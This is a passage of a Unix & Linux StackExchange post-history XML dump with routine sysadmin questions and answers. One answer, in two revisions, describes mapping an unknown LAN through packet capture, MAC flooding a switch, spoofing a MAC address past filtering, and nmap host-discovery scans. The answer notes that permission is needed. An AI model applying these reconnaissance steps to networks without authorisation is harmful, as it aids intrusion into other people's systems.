both.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -PS 10.1.2.0/24&#xD;&#xA;    nmap -vvv -sn -PA 10.1.2.0/24&#xD;&#xA;&#xD;&#xA;Then of course you can use the ICMP-based scans with -PE -PP -PM.&#xD;&#xA;&#xD;&#xA;An other interesting method is -PO with a non-existent protocol number. Often only TCP and UDP is considered on firewalls and noone tests what happens when you try some unknown protocol. You get an ICMP protocol unreachable if the host is up.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -PO 160 10.1.2.0/24&#xD;&#xA;&#xD;&#xA;You can also tell nmap to skip host discovery (-Pn) and do a portscan on every host. This is very slow but you might find other hosts that the host discovery missed for some reason.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mac_flooding&#xD;&#xA;  [3]: http://ettercap.sourceforge.net/&#xD;&#xA;  [4]: http://nmap.org/book/man-port-scanning-techniques.html&#xD;&#xA;  [5]: http://nmap.org/book/idlescan.html&#xD;&#xA;  [6]: http://nmap.org/book/man-host-discovery.html" />
  <row Id="19771" PostHistoryTypeId="2" PostId="8389" RevisionGUID="a5c11d6d-a834-41a5-9901-b3b4a3d06c45" CreationDate="2011-03-01T13:40:05.123" UserId="4950" Text="Say, on a Solaris server, `user1` logs in, switches to someother user, say `sruser`, using `su - ` and then starts a process of id `X`. And then another user `user2` logs in, switches to `sruser` the same way and starts a process of id `Y`. (Multiple users can log in and swithch to `sruser` simultaneously.)&#xD;&#xA;&#xD;&#xA;In the above scenario, is there any way we can trace the processes of ids `X` and `Y` to the actual users `user1` and `user2`?&#xD;&#xA;&#xD;&#xA;How can we trace a process to the original user?" />
  <row Id="19772" PostHistoryTypeId="1" PostId="8389" RevisionGUID="a5c11d6d-a834-41a5-9901-b3b4a3d06c45" CreationDate="2011-03-01T13:40:05.123" UserId="4950" Text="How to trace a process to original user?" />
  <row Id="19773" PostHistoryTypeId="3" PostId="8389" RevisionGUID="a5c11d6d-a834-41a5-9901-b3b4a3d06c45" CreationDate="2011-03-01T13:40:05.123" UserId="4950" Text="éprocessàéusersàésolarisàésuà" />
  <row Id="19774" PostHistoryTypeId="5" PostId="8123" RevisionGUID="045333a7-ad3b-460d-a5a3-1aa0bfa86a13" CreationDate="2011-03-01T13:43:05.577" UserId="4477" Comment="fixed syntax" Text="How much do you know about the LAN in question? I'm assuming you don't know anything just plugged in the cable or connected to wifi.&#xD;&#xA;&#xD;&#xA;1. Try requesting an IP address with DHCP. Do you get one? Then you already know a few things: the gateway IP, the DHCP server IP, the subnet mask and maybe DNS servers.&#xD;&#xA;1. If you don't get one there is either no DHCP server or the network is MAC filtered.&#xD;&#xA;1. Either way start capturing packets with [wireshark][1]. If you are on wireless or connected to a hub it's easy. If you are connected to a switch you can try [MAC flooding][2] to switch it back to &quot;hub mode&quot; but a smarter switch will just disable your port. If you want to try it anyway [ettercap][3] can do this for you. (Or macchanger and a shell script :) )&#xD;&#xA;1. Looking at the packets you can find IP addresses but most importantly you can guess the network parameters. If you suspect MAC filtering change you MAC address to one of the observed ones after it leaves (sends nothing for a while).&#xD;&#xA;1. When you have a good idea about the network configuration (netmask, gateway, etc) use nmap to scan. Nmap can do a lot more than -sP in case some hosts don't respond to ping check out [the documentation][4]. It's important that nmap only works if your network settings and routes are correct.&#xD;&#xA;1. You can possibly find even more hosts with nmap's [idle scan][5].&#xD;&#xA;&#xD;&#xA;Some (most?) system administrators don't like a few of the above methods so make sure it is allowed (for example it's your network). Also note that your own firewall can prevent some of these methods (even getting an IP with DHCP) so check your rules first.&#xD;&#xA;&#xD;&#xA;**Nmap**&#xD;&#xA;&#xD;&#xA;Here is how to do basic [host discovery with nmap][6]. As I said your network configuration should be correct when you try this. Let's say you are 192.168.0.50 you are on a /24 subnet. Your MAC address is something that is allowed to connect, etc. I like to have wireshark running to see what I'm doing.&#xD;&#xA;&#xD;&#xA;First I like to try the list scan, which only tries to resolve the PTR records in DNS for the specified IP addresses. It sends nothing to the hosts so there is no guarantee it is really connected or turned on but there is a good chance. This mode obviously needs a DNS server which is willing to talk to you.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -sL 192.168.1.0/16&#xD;&#xA;&#xD;&#xA;This may find nothing or it may tell you that every single IP is up.&#xD;&#xA;&#xD;&#xA;Then I usually go for ARP scan. It sends ARP requests (you see them as &quot;Who has &lt;target IP&gt;? Tell &lt;your IP&gt;&quot; in wireshark). This is pretty reliable since noone filters or fakes ARP. The main disadvantage is that it only works on your subnet.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -PR 192.168.1.0/24&#xD;&#xA;&#xD;&#xA;If you want to scan something behind routers or firewalls then use SYN and ACK scans. SYN starts a TCP connection and you either get an RST or a SYNACK in response. Either way the host is up. You might get ICMP communication prohibited or something like that if there is a firewall. Most of the time if a firewall filtered your packets you will get nothing. Some type of firewalls only filter the TCP SYN packets and let every other TCP packet through. This is why ACK scan is useful. You will get RST in response if the host is up. Since you don't know what firewall is in place try both.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -PS 10.1.2.0/24&#xD;&#xA;    nmap -vvv -sn -PA 10.1.2.0/24&#xD;&#xA;&#xD;&#xA;Then of course you can use the ICMP-based scans with -PE -PP -PM.&#xD;&#xA;&#xD;&#xA;An other interesting method is -PO with a non-existent protocol number. Often only TCP and UDP is considered on firewalls and noone tests what happens when you try some unknown protocol. You get an ICMP protocol unreachable if the host is up.&#xD;&#xA;&#xD;&#xA;    nmap -vvv -sn -PO160 10.1.2.0/24&#xD;&#xA;&#xD;&#xA;You can also tell nmap to skip host discovery (-Pn) and do a portscan on every host. This is very slow but you might find other hosts that the host discovery missed for some reason.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mac_flooding&#xD;&#xA;  [3]: http://ettercap.sourceforge.net/&#xD;&#xA;  [4]: http://nmap.org/book/man-port-scanning-techniques.html&#xD;&#xA;  [5]: http://nmap.org/book/idlescan.html&#xD;&#xA;  [6]: http://nmap.org/book/man-host-discovery.html" />
  <row Id="19776" PostHistoryTypeId="5" PostId="8388" RevisionGUID="e381b2ca-c344-4d0c-9273-2f736cfc7166" CreationDate="2011-03-01T14:02:33.480" UserId="2163" Comment="added 125 characters in body" Text="I know that [root can do anything][1], but is there a way to at least alert root that they are about to delete a folder that perhaps shouldn't be deleted?&#xD;&#xA;&#xD;&#xA;We keep a work directory in our `/tmp` folder, and from time to time an administrator will come along and purge the `/tmp` folder with roughly `sudo rm -rf *`. Is there a way to give something like a prompt or alert that they are about to delete a specific folder? Something along the lines of:&#xD;&#xA;&#xD;&#xA;    The folder XXXXX is protected from deletion - do you really want to delete this folder? (y/n)&#xD;&#xA;&#xD;&#xA;I know, the best solution is to move this folder elsewhere (the `/tmp` folder is called temp for a reason after all!), but that has other problems. Hence my question.&#xD;&#xA;&#xD;&#xA;Asking this question makes me wonder, is it bad practice to actually blindly delete all the contents of the `/tmp` folder? Isn't a better approach to only delete files that are more than a certain age?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2459/how-to-create-a-file-even-root-user-cant-delete-it/2460#2460" />
  <row Id="19777" PostHistoryTypeId="2" PostId="8391" RevisionGUID="c2902a55-9bcd-4df2-940e-05fde353a168" CreationDate="2011-03-01T14:09:09.200" UserId="5232" Text="As the earlier question points out, there is no out of the box solution to this problem. But you can always opt to do this through a script.&#xD;&#xA;&#xD;&#xA;Something like the script first checks for whatever the conditions you set for deletion/delete protection and takes an appropriate action.&#xD;&#xA;&#xD;&#xA;Which in case you can rename rm and rmdir to something else. Create a script by the same in their place. That script can do whatever you want." />
  <row Id="19778" PostHistoryTypeId="2" PostId="8392" RevisionGUID="ad7df693-e82e-4507-b752-ca0b2d890863" CreationDate="2011-03-01T08:46:52.693" UserDisplayName="simpleton" Text="I use the usbnet to transfer data between the PC(Host) and Board(Device) which is a usb OTG device. The USB driver provided by SYNOPSIS and is used in many other device(seems without Bugs). But usbnet can not work well on my board.&#xD;&#xA;&#xD;&#xA;By the way,the USB port works well ,only usbnet can not work.&#xD;&#xA;&#xD;&#xA;I am sure I did right configuration about the usbnet. The Host can ping the device with correct feedback but if I ping the Host from the device, the whole usbnet subsystem seemed crashed,then the link looks like disconnected. It cannot ping from either Host or Device. It drives me crazy.&#xD;&#xA;&#xD;&#xA;I can`t find particular introduction about the USBnet.If you have some,could you shared with me?&#xD;&#xA;Thanks a lot!" />
  <row Id="19779" PostHistoryTypeId="1" PostId="8392" RevisionGUID="ad7df693-e82e-4507-b752-ca0b2d890863" CreationDate="2011-03-01T08:46:52.693" UserDisplayName="simpleton" Text="a oddball issue about usbnet" />
  <row Id="19780" PostHistoryTypeId="3" PostId="8392" RevisionGUID="ad7df693-e82e-4507-b752-ca0b2d890863" CreationDate="2011-03-01T08:46:52.693" UserDisplayName="simpleton" Text="élinuxàéusbàékernelà" />
  <row Id="19781" PostHistoryTypeId="17" PostId="8392" RevisionGUID="1c24cbac-18a4-47d2-91e2-f8425a37e3b6" CreationDate="2011-03-01T14:23:03.737" UserId="-1" Comment="from http://stackoverflow.com/questions/5152173/a-oddball-issue-about-usbnet" Text="" />
  <row Id="19782" PostHistoryTypeId="25" PostId="8388" RevisionGUID="b683e359-8fda-4374-842f-00548da17076" CreationDate="2011-03-01T14:23:33.293" Comment="http://twitter.com/#!/StackUnix/status/42590802278481920" />
  <row Id="19784" PostHistoryTypeId="2" PostId="8393" RevisionGUID="e65725cc-c2eb-4e71-b5cf-d4dff14018ed" CreationDate="2011-03-01T14:25:42.307" UserId="5233" Text="`chmod +t /tmp/perm_file`&#xD;&#xA;&#xD;&#xA;source: http://oldfield.wattle.id.au/luv/permissions.html&#xD;&#xA;" />
  <row Id="19785" PostHistoryTypeId="2" PostId="8394" RevisionGUID="b5116f55-83b7-4753-b0fe-e046d00d94fa" CreationDate="2011-03-01T14:29:50.727" UserId="2511" Text="Moving your work folder *is* the solution. You're right that it is a little bit dangerous to wipe out files in `/tmp` blindly — normally, it's done either on system boot/shutdown or by using an access-time based deletion program (like `tmpwatch`).&#xD;&#xA;&#xD;&#xA;If you really want to prevent this, though, SE Linux could do it. You would give the directory a particular label, and configure it so that root doesn't normally have the [unlink permission][1] for objects with that label. This seems like significantly more work than just moving the directory to a better shared location, though — and since it causes an SE Linux audit message rather than the nice &quot;are you sure y/n&quot; prompt you're imagining, it seems like it'll eventually cause frustrating confusion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.selinuxproject.org/page/ObjectClassesPerms#dir" />
  <row Id="19786" PostHistoryTypeId="2" PostId="8395" RevisionGUID="be5aee1c-3e89-4848-8274-00c9228d3063" CreationDate="2011-03-01T14:45:58.737" UserId="3976" Text="You could change the directory attributes on the directory to be immutable:&#xD;&#xA;&#xD;&#xA;    # cd /tmp&#xD;&#xA;    # mkdir undeletable&#xD;&#xA;    # chattr +i undeletable&#xD;&#xA;    # rm -rf undeletable/&#xD;&#xA;    rm: cannot remove `undeletable': Operation not permitted&#xD;&#xA;&#xD;&#xA;Unfortunately, since the directory is immutable, you can't modify it either:&#xD;&#xA;&#xD;&#xA;    # cd undeletable/&#xD;&#xA;    # touch foo&#xD;&#xA;    touch: cannot touch `foo': Permission denied&#xD;&#xA;&#xD;&#xA;You can have subdirectories that are mutable, but rm -rf will delete the files still.  So this solution will only work if you want read-only content in /tmp.&#xD;&#xA;&#xD;&#xA;If you must have RW content in /tmp that's undeletable, why don't you just put it somewhere else more permanent, and create a symlink in /tmp, that can be easily restored. (perhaps automatically if missing?)" />
  <row Id="19787" PostHistoryTypeId="5" PostId="6859" RevisionGUID="153f7726-edd5-444d-99ec-75869593daff" CreationDate="2011-03-01T14:49:55.127" UserId="688" Comment="rm noise" Text="I'm looking for a reasonably up-to-date and comprehensive web page that documents differences in how to use different package managers." />
  <row Id="19788" PostHistoryTypeId="2" PostId="8396" RevisionGUID="6bd19f1c-c4d2-434f-b52f-ac57e1891426" CreationDate="2011-03-01T14:49:57.747" UserId="872" Text="    GREEN=&quot;\e[1;32m&quot;&#xD;&#xA;    RED=&quot;\e[1;31m&quot;&#xD;&#xA;    NONE=&quot;\e[m&quot;&#xD;&#xA;    &#xD;&#xA;    get_exit_status(){&#xD;&#xA;       es=$?&#xD;&#xA;       if [ $es -eq 0 ]&#xD;&#xA;       then&#xD;&#xA;           echo -e &quot;${GREEN}${es}${NONE}&quot;&#xD;&#xA;       else&#xD;&#xA;           echo -e &quot;${RED}${es}${NONE}&quot;&#xD;&#xA;       fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    get_path(){&#xD;&#xA;        #dummy function&#xD;&#xA;        echo &quot;PATH&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    PROMPT_COMMAND='exitStatus=$(get_exit_status)'&#xD;&#xA;&#xD;&#xA;The following gives me the correct exitStatus but colour variables are not expanded:&#xD;&#xA;&#xD;&#xA;    PS1='${RED}\h $(get_path) ${exitStatus}${NONE} '&#xD;&#xA;&#xD;&#xA;However, the one below, gives me the colours but the exit status does not update:&#xD;&#xA;&#xD;&#xA;    PS1=&quot;${RED}\h $(get_path) ${exitStatus}${NONE} &quot;&#xD;&#xA;&#xD;&#xA;What is the right way to do this? How can I fix this so that the exitStatus and colours both work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19789" PostHistoryTypeId="1" PostId="8396" RevisionGUID="6bd19f1c-c4d2-434f-b52f-ac57e1891426" CreationDate="2011-03-01T14:49:57.747" UserId="872" Text="Bash: Display exit status in prompt:" />
  <row Id="19790" PostHistoryTypeId="3" PostId="8396" RevisionGUID="6bd19f1c-c4d2-434f-b52f-ac57e1891426" CreationDate="2011-03-01T14:49:57.747" UserId="872" Text="ébashàépromptà" />
  <row Id="19791" PostHistoryTypeId="5" PostId="6721" RevisionGUID="4d9c1932-bd88-4784-9c7a-dd46fa30b039" CreationDate="2011-03-01T14:51:08.527" UserId="688" Comment="deleted 7 characters in body" Text="I used `dd if=archlinux-2010.05-core-x86_64.iso of=/dev/sdb` to create an installation image on a USB stick and I'm getting a blank screen soon after boot-up. The last message I saw is:&#xD;&#xA;&#xD;&#xA;    Waiting for UDev UEvents to be processed...&#xD;&#xA;&#xD;&#xA;What am I to do?&#xD;&#xA;&#xD;&#xA;[**note**] Am using a TravelMate 6592: Core 2 Duo T7500 2.2GHz processor.&#xD;&#xA;" />
  <row Id="19792" PostHistoryTypeId="2" PostId="8397" RevisionGUID="e6cb1403-a043-4bd5-91ff-a244fbebdf79" CreationDate="2011-03-01T14:52:22.050" UserId="2511" Text="I've got to get this out of the way first:&#xD;&#xA;&#xD;&#xA;You really, really need to turn off that system. Security updates haven't been released for it for over five years — and, what's more, that release is from back in the dark ages when the project hadn't really gotten off the ground.&#xD;&#xA;&#xD;&#xA;If you must keep it similar, moving to CentOS 5 will give you an only slightly updated set of software but with current updates and some lifecycle left to go.&#xD;&#xA;&#xD;&#xA;All that said, if I were forced at gunpoint, the thing I'd try is downloading the non-rpm-packaged tarball of Firefox directly from [mozilla][1]. It may be that the system is still too old for that, but I think it's your best bet.&#xD;&#xA;&#xD;&#xA;Well, fourth best bet, behind upgrading to Fedora 15, upgrading CentOS 5, or just throwing the system in a dumpster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mozilla.com/" />
  <row Id="19793" PostHistoryTypeId="5" PostId="8394" RevisionGUID="7ccb9f27-e8c5-4b0f-a928-39d5da90d1a3" CreationDate="2011-03-01T14:56:24.497" UserId="2511" Comment="added 88 characters in body" Text="Moving your work folder *is* the solution. You're right that it is a little bit dangerous to wipe out files in `/tmp` blindly — normally, it's done either on system boot/shutdown or by using an access-time based deletion program (like `tmpwatch`).  But by its definition, the space volatile and it's not reasonable to expect otherwise.&#xD;&#xA;&#xD;&#xA;If you really want to prevent this, though, SE Linux could do it. You would give the directory a particular label, and configure it so that root doesn't normally have the [unlink permission][1] for objects with that label. This seems like significantly more work than just moving the directory to a better shared location, though — and since it causes an SE Linux audit message rather than the nice &quot;are you sure y/n&quot; prompt you're imagining, it seems like it'll eventually cause frustrating confusion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.selinuxproject.org/page/ObjectClassesPerms#dir" />
  <row Id="19794" PostHistoryTypeId="5" PostId="8378" RevisionGUID="1c8a45c7-027b-46b2-a94c-ce7ba6daefff" CreationDate="2011-03-01T14:58:04.123" UserId="2567" Comment="note on performance" Text="Working with this size of files is always hard. &#xD;&#xA;&#xD;&#xA;A way forward could be to split this file into a couple small ones, &#xD;&#xA;to do this you can use the split command.&#xD;&#xA;&#xD;&#xA;    split -d -l 50000 ToBigFile.data file_&#xD;&#xA;&#xD;&#xA;Even thou it is split up you can still work with the file like if would be one using a bash for loop&#xD;&#xA;&#xD;&#xA;    for f in `ls file_*`; do cat $f; done;&#xD;&#xA;&#xD;&#xA;But instead of the cat you can use inverted grep to get rid of unwanted data, that is irrelevant for this. (or the kind of refinement that you need).&#xD;&#xA;&#xD;&#xA;At this point you will just work with a lot of smaller files, and the commands the others mentioned above will work smother on a lot of smaller files.&#xD;&#xA;&#xD;&#xA;And when you are done, you can use a second for loop to build up the new smaller file again.&#xD;&#xA;&#xD;&#xA;    for f in `ls file_*`; do cat $f &gt;&gt; NewFile.data ; done;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;*Update* &#xD;&#xA;Since we start to split the data in multiple files, there is going to be a lot of work with the harddrive and that takes time. (In this question apparently 5min).&#xD;&#xA;&#xD;&#xA;On the other hand the next steps would probably be faster.&#xD;&#xA;&#xD;&#xA;So this method is probably pointless for simple grep, awk, sed operation, &#xD;&#xA;but if the search patterns becomes more complicated it could become faster.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19795" PostHistoryTypeId="2" PostId="8398" RevisionGUID="5748e064-2e00-400e-9a71-6563ddf8ff3f" CreationDate="2011-03-01T14:59:36.550" UserId="2267" Text="I want to compare the speed of these two commands:  &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    grep pattern1 files* &#xD;&#xA;    grep pattern2 files* &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;Unfortunately, the first grep reads much of files* into memory &#xD;&#xA;buffers, so the second grep runs very quickly, but for the wrong &#xD;&#xA;reason. &#xD;&#xA; &#xD;&#xA;How do I tell Linux (Fedora 11): &quot;please stop caching disk reads &#xD;&#xA;because I'm testing something.&quot; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="19796" PostHistoryTypeId="1" PostId="8398" RevisionGUID="5748e064-2e00-400e-9a71-6563ddf8ff3f" CreationDate="2011-03-01T14:59:36.550" UserId="2267" Text="How to time grep commands accurately?" />
  <row Id="19797" PostHistoryTypeId="3" PostId="8398" RevisionGUID="5748e064-2e00-400e-9a71-6563ddf8ff3f" CreationDate="2011-03-01T14:59:36.550" UserId="2267" Text="écacheà" />
  <row Id="19798" PostHistoryTypeId="2" PostId="8399" RevisionGUID="7afffd6f-800d-4f27-a720-f1ac5e79c5c4" CreationDate="2011-03-01T15:15:37.817" UserId="2511" Text="I don't think you can, easily, tell it &quot;temporarily stop caching&quot;. But what you can do is tell the system to drop the cache before each run:&#xD;&#xA;&#xD;&#xA;As root:&#xD;&#xA;&#xD;&#xA;    sync; echo 3 &gt; /proc/sys/vm/drop_caches&#xD;&#xA;&#xD;&#xA;(This is documented in the kernel docs at [Documentation/sysctl/vm.txt][1], which is handy if like some of us you can't always remember offhand what the values 1, 2, or 3 do.)&#xD;&#xA;&#xD;&#xA;Or alternately, of course, prime the cache and compare the cached performance. (I think both are useful numbers.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/sysctl/vm.txt" />
  <row Id="19800" PostHistoryTypeId="2" PostId="8401" RevisionGUID="9de35260-f5b9-45da-a884-04d8e630c3b0" CreationDate="2011-03-01T15:18:40.263" UserId="3645" Text="[Here you go][1] - This Works For Me (TM) in Ubuntu and a custom Linux build. It might be overkill for your case; lines 40-48 and 96-106 should be the most relevant.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/tilde/blob/master/.bashrc#L40" />
  <row Id="19801" PostHistoryTypeId="2" PostId="8402" RevisionGUID="fd92e8d3-dee5-4824-98e1-d53ebf06ec4e" CreationDate="2011-03-01T15:18:59.203" UserId="2780" Text="Try:&#xD;&#xA;&#xD;&#xA;    PS1='`exitStatus=$?;if [ $exitStatus -eq 0 ];then echo &quot;\['${GREEN}'\]&quot;;else echo &quot;\['${RED}'\]&quot;;fi;echo &quot;\h $(get_path) ${exitStatus}${NONE}&quot;`'" />
  <row Id="19802" PostHistoryTypeId="5" PostId="8401" RevisionGUID="1be3e56f-3644-4a55-ba3a-e16e4bda81f5" CreationDate="2011-03-01T15:24:26.780" UserId="3645" Comment="added 139 characters in body" Text="[Here you go][1] - This Works For Me (TM) in Ubuntu and a custom Linux build. It might be overkill for your case; lines 40-48 and 96-106 should be the most relevant.&#xD;&#xA;&#xD;&#xA;The reason for putting the exit code detection in `$PS1` is that one host has a read-only `$PROMPT_COMMAND` set before .bashrc is read.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/tilde/blob/master/.bashrc#L40" />
  <row Id="19803" PostHistoryTypeId="2" PostId="8403" RevisionGUID="87154702-257e-4ccf-b659-ec423a59ba91" CreationDate="2011-03-01T15:24:40.710" UserId="4520" Text="When timing things like this I usually run it first to prime the cache. Then run the command using time.  In testing something like this you should be more concerned about CPU and elapsed times, and less concerned about I/O time. &#xD;&#xA;&#xD;&#xA;In any case it is difficult to get fully accurate timings.  If the input files exceed the size of memory available for buffers, then you will likely end up cycling all the files through buffer cache.  Otherwise, you may just access all the data from buffer cache.  In real life, there is often a mix of buffered data and data read from disk. " />
  <row Id="19804" PostHistoryTypeId="2" PostId="8404" RevisionGUID="bf5d929a-d643-4468-93c7-efc2642651c2" CreationDate="2011-03-01T15:28:14.720" UserId="3976" Text="I agree with what other people have answered here.  Better to just upgrade.&#xD;&#xA;&#xD;&#xA;You'll have a hard time running a newer firefox on such an old OS.  You'll have to upgrade major parts of the OS just to get the more recent Firefox to compile, because it depends on APIs from more recent versions of gtk, gdk, libstdc++, etc.  You're pretty much going to be upgrading the core OS at that point.&#xD;&#xA;&#xD;&#xA;If you really must use such old versions of software, you might be able to get away with using RHEL4 or CentOS4, which has about a year more life in it before it is unsupported." />
  <row Id="19806" PostHistoryTypeId="4" PostId="8388" RevisionGUID="4043ca29-f277-4ce6-a9cb-111d60e69488" CreationDate="2011-03-01T15:45:39.887" UserId="250" Comment="Edit title so it's clearer, add permissions tag" Text="Give a warning when something is about to be deleted (by root)" />
  <row Id="19807" PostHistoryTypeId="6" PostId="8388" RevisionGUID="4043ca29-f277-4ce6-a9cb-111d60e69488" CreationDate="2011-03-01T15:45:39.887" UserId="250" Comment="Edit title so it's clearer, add permissions tag" Text="épermissionsàérootà" />
  <row Id="19808" PostHistoryTypeId="5" PostId="8111" RevisionGUID="6dae4f22-8abe-4d50-9fe4-03021a816fba" CreationDate="2011-03-01T15:54:20.643" UserId="3635" Comment="Linked to the umlet website" Text="For UML and DB Diagrams, you could use [UMLet][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.umlet.com/" />
  <row Id="19809" PostHistoryTypeId="24" PostId="8111" RevisionGUID="6dae4f22-8abe-4d50-9fe4-03021a816fba" CreationDate="2011-03-01T15:54:20.643" Comment="Proposed by 3635 approved by 29 edit id of 175" />
  <row Id="19810" PostHistoryTypeId="2" PostId="8405" RevisionGUID="9b47f7ee-6656-41fb-adfc-afd6e83717d7" CreationDate="2011-03-01T15:40:03.743" UserDisplayName="mike" Text="i'm configure my gentoo kernel .&#xD;&#xA;&#xD;&#xA;when i boot the kernel (which is kernel-2.6.36-gentoo-r5) ,it can't mount /dev/sda1 ,and show this message at last.&#xD;&#xA;&#xD;&#xA;    ALERT! /dev/sda1 does not exist . Dropping to a shell .&#xD;&#xA;    &#xD;&#xA;i use the dropped shell go to the /dev directory , i find it have no sda* or hd* file .&#xD;&#xA;&#xD;&#xA;but when i boot it use my debian's kernel(vmlinuz-2.6.32-5-686) , it can find and mount the /dev/sda1&#xD;&#xA;how can i fix this problem  ?&#xD;&#xA;i didn't add any module name to /etc/modules.autoload.d/kernel-2.6 file to let it auto load when boot , is it cause the problem?&#xD;&#xA;thank you for you patience answer me .&#xD;&#xA;&#xD;&#xA; " />
  <row Id="19811" PostHistoryTypeId="1" PostId="8405" RevisionGUID="9b47f7ee-6656-41fb-adfc-afd6e83717d7" CreationDate="2011-03-01T15:40:03.743" UserDisplayName="mike" Text="kernel can't find /dev/sda file when boot" />
  <row Id="19812" PostHistoryTypeId="3" PostId="8405" RevisionGUID="9b47f7ee-6656-41fb-adfc-afd6e83717d7" CreationDate="2011-03-01T15:40:03.743" UserDisplayName="mike" Text="égentooà" />
  <row Id="19813" PostHistoryTypeId="17" PostId="8405" RevisionGUID="9c6bd83d-2709-40d7-b3cf-cfc59f38ac86" CreationDate="2011-03-01T16:13:25.733" UserId="-1" Comment="from http://stackoverflow.com/questions/5156678/kernel-cant-find-dev-sda-file-when-boot" Text="" />
  <row Id="19814" PostHistoryTypeId="2" PostId="8406" RevisionGUID="08002b84-aa07-4cd2-b031-f67c0aef6ed3" CreationDate="2011-03-01T17:09:16.053" UserId="4176" Text="I've been trying to find out with the man page and some other sources if the exit status doesn't necessarily mean you achieved an address but I'm thinking I maybe didn't read it correctly. Does anyone know why dhclient would still exit with 0 if it doesn't think I'm connected to a network? RHEL 6 seems to have some serious network issues. &#xD;&#xA;&#xD;&#xA;Mostly I'm just confused as to whether or not I'm reading what the exit status is supposed to mean here.&#xD;&#xA;&#xD;&#xA;Thanks for any help!!" />
  <row Id="19815" PostHistoryTypeId="1" PostId="8406" RevisionGUID="08002b84-aa07-4cd2-b031-f67c0aef6ed3" CreationDate="2011-03-01T17:09:16.053" UserId="4176" Text="dhclient exits with a 0 but stlll no address" />
  <row Id="19816" PostHistoryTypeId="3" PostId="8406" RevisionGUID="08002b84-aa07-4cd2-b031-f67c0aef6ed3" CreationDate="2011-03-01T17:09:16.053" UserId="4176" Text="érhelàédhcpàéexità" />
  <row Id="19818" PostHistoryTypeId="25" PostId="8398" RevisionGUID="3a6dca21-3af2-417b-a2e2-89a420e13223" CreationDate="2011-03-01T17:23:33.513" Comment="http://twitter.com/#!/StackUnix/status/42636101881573376" />
  <row Id="19819" PostHistoryTypeId="2" PostId="8407" RevisionGUID="c8730f64-97fa-4662-afd3-4d5f43e28467" CreationDate="2011-03-01T17:24:10.183" UserId="3447" Text="You need to make sure that you select the correct SATA drivers while configuring your kernel.  I don't know what your hardware is, so you'll need to find out for yourself which drivers will work for you.&#xD;&#xA;&#xD;&#xA;I always build the SATA drivers into the kernel rather than as a module, it's just easier to deal with." />
  <row Id="19820" PostHistoryTypeId="2" PostId="8408" RevisionGUID="5ef0a8d0-89ba-4d94-9ff9-1bd7d3735212" CreationDate="2011-03-01T17:40:44.543" UserId="1676" Text="**bit-for-bit backup**&#xD;&#xA;&#xD;&#xA;* Periodically, use &quot;dd&quot; to make a complete bit-for-bit copy of the /home partition on my work computer (or perhaps each and every partition) to a backup file(s) on my server. (Is there some way to update last month's backup using something like rsync so I don't have to start from scratch every time, speeding this up?) (is there some way to do all or most this in the background, while I'm using my computer?).&#xD;&#xA;    * Put a liveCD in the working computer, and reboot&#xD;&#xA;    * `sudo dd if=/dev/hda | gzip -c | ssh -v -c blowfish davidcary@my_local_file_server &quot;dd of=backup_2011_my_working_computer.gz&quot;`&#xD;&#xA;* keep all &quot;my&quot; files in my $HOME directory.&#xD;&#xA;    * text files, photographs, web browser bookmark file, etc. -- all in the home directory.&#xD;&#xA;    * if I write a batch script that &quot;needs&quot; to go in some other subdirectory, keep the master copy somewhere in my $HOME directory, and make a soft link from that other subdirectory to the master copy.&#xD;&#xA;    * If I write compiled software that &quot;needs&quot; to go in some other subdirectory, keep the master source code and Makefile in some subdirectory of my $HOME directory, and set up the Makefile so &quot;make install&quot; automagically installs the binary executable in that other directory.&#xD;&#xA;    * If I fix bugs in some software, pass the bug fixes upstream.&#xD;&#xA;    * keep a list in some text file in my $HOME directory of &quot;apps I like and wasn't installed by default&quot; and &quot;apps that are normally installed by default but I don't like&quot;. See [How do you track which packages were installed on Ubuntu (Linux)?][2] or [How do you track which packages were installed on Fedora (Linux)?][3]&#xD;&#xA;* if I purchase software on CD or DVD, back up the ISO image on my file server, and install from that image onto my work computer. (Because my work computer doesn't *have* an optical drive).&#xD;&#xA;&#xD;&#xA;Later, when machine A is lost,&#xD;&#xA;&#xD;&#xA;* install the latest version of whatever distro is my favorite this week, including all the default software, on machine C.&#xD;&#xA;* On the file server B, use &quot;mount&quot; with the &quot;loop device&quot; to allow read-only access the individual files stored inside that backup file.&#xD;&#xA;&#xD;&#xA;Alas, the user number of &quot;davidcary&quot; on my work computer is different from the user number of &quot;davidcary&quot; on my file server -- so it appears that all these files are owned by some *other* user. Is there a way to fix this, or to prevent it in the first place?&#xD;&#xA;&#xD;&#xA;* copy my /home/ directory from that backup file to the /home/ directory of my new work machine, somehow (?) skipping over all binary executables. This blocks some kinds of viruses and trojans from spreading to C.&#xD;&#xA;* setup other stuff outside my home directory:&#xD;&#xA;    * check my list of apps, uninstall stuff I don't want.&#xD;&#xA;    * check my list of apps, install the latest version of stuff I want. Hopefully the latest version includes the bug fixes I've passed back. 